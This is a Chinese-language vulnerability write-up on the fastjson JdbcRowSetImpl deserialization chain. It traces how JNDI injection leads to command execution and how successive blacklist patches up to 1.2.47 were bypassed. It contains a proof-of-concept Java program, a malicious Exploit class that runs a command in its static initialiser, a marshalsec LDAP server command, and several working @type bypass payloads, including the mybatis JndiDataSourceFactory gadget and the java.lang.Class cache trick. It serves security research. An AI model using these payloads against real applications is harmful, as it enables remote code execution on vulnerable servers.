0x01 前言
JdbcRowSetImpl链与TemplatesImpl链不同,该链实用性更强,其可在以下fastjson写法中适用。
parse(jsonStr)parseObject(jsonStr)parseObject(jsonStr,Object.class)
JdbcRowSetImpl实际通过JNDI注入达到命令执行的效果,所以对于jdk版本有具体的限制。
0x02 利用链分析
poc如下:
import com.alibaba.fastjson.JSON;public class POC {public static void main(String[] args) {// String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";JSON.parse(PoC);}}
将恶意类代码编译为class文件并放在web服务中
import java.io.IOException;public class Exploit {public Exploit() {}static {try {Runtime.getRuntime().exec("calc.exe");} catch (IOException e) {e.printStackTrace();}}}

使用marshalsec工具启用LDAP服务端java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 1389
运行poc
需要注意一点的是,使用javac编译Exploit代码的时候jdk版本尽可能的低一些,否则可能会出现生成的Exploit无法在目标主机jdk环境中运行。
fastjson在反序列化过程中会调用setDataSourceName方法和setAutoCommit方法。
调用setDataSourceName设置dataSourceName。
调用setAutoCommit方法,跟进this.connect方法。
InitialContext.lookup(dataSource),实现JNDI注入
利用链:
JdbcRowSetImpl.setDataSourceName()JdbcRowSetImpl.setAutoCommit()-> JdbcRowSetImpl.connect()-> InitialContext.lookup(dataSource)
0x03 修复绕过
在1.2.25版本之后,autotype默认是受限的,这个受限并不是禁止autotype这个功能,而是增加了白名单设置,并且在fastjson内部增加了黑名单设置。见https://github.com/alibaba/fastjson/wiki/enable_autotype
开启autotype有两种方式。
一是在JVM中增加参数:-Dfastjson.parser.autoTypeSupport=true
一是在代码中增加:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
1.2.25补丁绕过
利用条件:1.2.25-1.2.41、enable_autotype
payload:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/Evil", "autoCommit":true}
1.2.25版本后在如下代码处增加了过滤,checkAutoType对@type参数进行检查。
该方法具体是对参数进行黑白名单判断,下图是开启autotype后,先进行白名单再进行黑名单判断,白名单默认为空。
在关闭autotype支持的情况下,先进行黑名单判断再进行白名单判断。
查看黑名单,可以看到com.sun被过滤了。
而payload中的绕过只是在参数前后加了个L和;就可以绕过了,为什么呢?
在黑名单检测时,由于我们传入的参数是Lcom开头的,所以绕过了黑名单。
接着走到loadClass方法对类进行加载。
该类在加载中存在一个判断,如果开头为L结尾为;则截取中间的字串,然后再加载类,这就顺利绕过了黑名单。
1.2.42补丁绕过
利用条件:1.2.25-1.2.42、enable_autotype
payload:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Evil", "autoCommit":true}
在1.2.42版本中,明文黑名单改为HASH值,checkcheckAutoType方法添加L和;字符过滤。
在checkAutoType中语句变得更加晦涩了,红色字段则是识别字符串头尾是否是L和;。如果是则掐头去尾。直接简单的双写即可绕过。
1.2.43补丁绕过
利用条件:1.2.25-1.2.43、enable_autotype
payload:
{"@type":"com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Evil", "autoCommit":true}
1.2.43对LL进行了过滤,所以用[进行绕过。
至于为什么要在后面加[{则是根据报错来加的,但对于具体细节不太清楚。
1.2.44补丁修复(JdbcRowSetImpl的终结)
1.2.44中对[进行了过滤,后续就没有直接通过@type字段指定JdbcRowSetImpl类的绕过了,可以说JdbcRowSetImpl链告一段落。
1.2.25-1.2.45 mybatis绕过
利用条件:1.2.25-1.2.45、enable_autotype、mybatis 3.0.0-3.5.0
payload:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Evil"}}
maven依赖:
<dependency><groupId>org.apache.ibatis</groupId><artifactId>ibatis-core</artifactId><version>3.0</version></dependency>
如果mybatis版本符合要求,则可以使用JndiDataSourceFactory绕过黑名单。
调用JndiDataSourceFactory的setProperties方法触发JNDI注入。
1.2.46添加该链到黑名单。
1.2.25-1.2.47补丁绕过
利用条件:
1.2.25-1.2.32、disable_autotype1.2.33-1.2.47、enable_autotype/disable_autotype
payload:
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Evil","autoCommit":true}}
1.2.47开启autotype
首先是提取到a下的@type的java.lang.Class字段并进行黑白名单检查。
获取到java.lang.Class对象
跟进deserialze方法,反序列化其它字段
获取到val字段的值com.sun.rowset.JdbcRowSetImpl
加载com.sun.rowset.JdbcRowSetImpl类对象
跟进loadClass函数,加载该类,并判断cache是否开启,默认cache是开启的,将该clazz类对象添加到mappings中。1.2.48后缓存默认关闭。
接下来是解析b字段@type部分。
接着对com.sun.rowset.JdbcRowSetImpl字符串进行白黑名单检查,需要注意的是黑名单判断条件中的TypeUtils.getClassFromMapping(typeName) == null字段,即使hash黑名单匹配成功也不会抛出异常,这就绕过了黑名单。而在1.2.32及之前,不存在该字段,所以开启autotype后反而不能绕过黑名单。
1.2.47禁用autotype
禁用autotype后则不会再进行黑白名单判断,直接从Mapping中获取com.sun.rowset.JdbcRowSetImpl类对象。其它与开启autotype一致。
0x04 总结
看了主要版本的分析,更高版本和更多利用方式查看此处:https://github.com/safe6Sec/Fastjson。
